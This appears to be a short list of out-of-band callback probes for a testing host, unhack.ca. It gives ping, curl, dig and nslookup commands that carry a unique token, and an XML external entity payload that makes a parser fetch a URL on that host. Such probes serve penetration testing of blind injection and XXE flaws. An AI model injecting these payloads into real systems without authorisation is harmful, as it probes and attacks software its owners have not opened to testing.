$ ping -c1 -p 00fc498c7de2b3955569e21ea9d76400 unhack.ca
 

$ curl http://unhack.ca/p/fc498c7de2b3955569e21ea9d764
 

$ dig fc498c7de2b3955569e21ea9d764 @unhack.ca
 

$ dig fc498c7de2b3955569e21ea9d764.ns.unhack.ca
 

C:\> nslookup fc498c7de2b3955569e21ea9d764 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/fc498c7de2b3955569e21ea9d764">]>
    <foo>&xxe;</foo>